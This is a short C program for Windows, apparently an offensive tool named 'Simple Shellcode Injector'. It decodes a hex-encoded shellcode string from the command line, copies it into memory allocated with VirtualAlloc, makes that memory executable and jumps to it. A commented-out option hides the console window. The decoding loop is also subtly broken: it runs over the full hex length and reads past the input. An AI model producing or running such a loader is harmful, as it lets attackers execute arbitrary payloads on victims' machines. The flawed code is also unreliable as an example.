#include <winsock2.h>

int main(int argc, char *argv[]) {
    //Uncomment to Hide cmd window
    //HWND hWnd = GetConsoleWindow();
    //ShowWindow( hWnd, SW_HIDE );

    unsigned int char_in_hex;

    unsigned static char logo [] = 
    " +-+-+-+ +-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+\n"
    " |S|S|I| |(|S|i|m|p|l|e| |S|h|e|l|l|c|o|d|e| |I|n|j|e|c|t|o|r|)|\n"
    " +-+-+-+-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+\n"
    " |b|y| |g|w|e|e|p|e|r|x|                                        \n"
    " +-+-+ +-+-+-+-+-+-+-+-+\n";


    unsigned char *shellcode=argv[1];
    unsigned int iterations=strlen(shellcode);
    unsigned int memory_allocation=sizeof(char)*strlen(shellcode);
   
 
    printf("%s\n\n", &logo);

    for(unsigned int i = 0; i< iterations; i++) {
        sscanf(shellcode+2*i, "%2X", &char_in_hex);
        shellcode[i] = (char)char_in_hex;
    }


    void *exec = VirtualAlloc(0, memory_allocation, MEM_COMMIT, PAGE_READWRITE);
    memcpy(exec, shellcode, memory_allocation);
    DWORD ignore;
    VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, &ignore);

    printf("Ready? Go!");
    (*(void (*)()) exec)();
    
    return 0;
}